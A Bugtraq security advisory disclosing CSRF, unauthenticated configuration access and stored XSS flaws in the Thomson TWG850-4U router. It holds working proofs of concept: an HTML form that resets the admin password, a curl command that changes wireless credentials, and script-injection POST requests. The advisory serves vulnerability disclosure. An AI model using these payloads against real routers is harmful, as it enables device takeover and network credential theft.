Bugtraq mailing list archives

Thomson TWG850 Wireless Router Multiple Vulnerabilities


From: Sebastian Perez <s3bap3 () gmail com>
Date: Wed, 9 Mar 2016 01:05:51 -0300

[System Affected]
Thomson Router
HW Revision 2.0
VENDOR Thomson
BOOT Revision 2.1.7i
MODEL TWG850-4U
Software Version ST9D.01.09
Serial Number 00939902404041
Firmware Name TWG850-4U-9D.01.09-100528-S-001.bin

[Vulnerabilities]
1- Cross-Site Request Forgery
2- Unauthenticated access to resources
3- Persistent Cross-Site Scripting

[Advisory Timeline]
06-Jan-2016 - Vendor contacted through the website
11-Jan-2016 - Email sent to vendor
09-Mar-2016 - Public Disclosure

[Description of Vulnerabilities]
1- Cross-Site Request Forgery
An attacker who lures a TWG850-4U user (authenticated or
unauthenticated) to browse a malicious website can exploit cross site
request forgery (CSRF) to submit commands to the wireless router and
gain control of the product. The attacker could submit variety of
commands including but not limited to changing the admin account
password, the network settings, etc.
All the application is vulnerable, for example it is possible to:
Change user/password & Factory Reset
- http://<Router IP>/goform/RgSecurity
Change wireless settings
- http://<Router IP>/goform/wlanPrimaryNetwork
Restore a backup
- http://<Router IP>/goform/RgBackupRestore
Enable/Disable Advanced Options
- http://<Router IP>/goform/RgOptions
Store a XSS
- http://<Router IP>/goform/RgTime

[PoC for Change user/password]
<html>
<body>
<form action="http://192.168.0.1/goform/RgSecurity"; method="POST">
<input type="hidden" name="HttpUserId" value="" />
<input type="hidden" name="Password" value="admin" />
<input type="hidden" name="PasswordReEnter" value="admin" />
<input type="hidden" name="RestoreFactoryNo" value="0x00" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

2- Unauthenticated access to resources
It is possible to perform actions within the router configuration
without being authenticated; it's only required to know the proper
urls and parameters. For example it is possible to:

Wireless name and password in plain text
- http://<Router IP>/GatewaySettings.bin
Restore a backup
- http://<Router IP>/goform/RgBackupRestore
Change Advanced Options
- http://<Router IP>/goform/RgOptions
Store a XSS
- http://<Router IP>/goform/RgTime
Change user/password & Factory Reset
- http://<Router IP>/goform/RgSecurity
Change Wireless name and password
- http://<Router IP>/goform/wlanPrimaryNetwork

[PoC for Change Wireless name and password]
curl -i -s -k -X 'POST' -H 'Content-Type:
application/x-www-form-urlencoded' --data-binary
$'PrimaryNetworkEnable=1&ServiceSetIdentifier=<Wireless
Name>&ClosedNetwork=0&WpaPskAuth=1&Wpa2PskAuth=1&WpaEncryption=3&WpaPreSharedKey=<NEW
KEY>&ShowWpaKey=0x01&WpaRekeyInterval=0&GenerateWepKeys=0&WepKeysGenerated=0&displayPrimaryROMsg=0&commitwlanPrimaryNetwork=1'
'http://<Router IP>/goform/wlanPrimaryNetwork'

3- Persistent Cross-Site Scripting
Two instances of an store Cross-Site scripting were found within the
router web interface.
- http://<Router IP>/goform/RgTime [TimeServer1 Parameter]
- http://<Router IP>/goform/RgTime [TimeServer2 Parameter]
- http://<Router IP>/goform/RgTime [TimeServer3 Parameter]
- http://<Router IP>/goform/RgUrlBlock [BasicParentalNewKeyword Parameter]

[PoC #1]
POST /goform/RgTime HTTP/1.1
<..>

TimeSntpDisable=2&TimeServer1=clock.via.net&TimeServer2=ntp.nasa.gov&TimeServer3=%22%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&TimeZoneOffsetHrs=0&TimeZoneOffsetMins=0&ResetSntpDefaults=

[PoC #2]
POST /goform/RgUrlBlock HTTP/1.1
<..>

BasicParentalNewKeyword=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&BasicParentalKeywordAction=1&BasicParentalNewDomain=&BasicParentalDomainAction=0

S3ba
@s3bap3
http://linkedin.com/in/s3bap3


Current thread: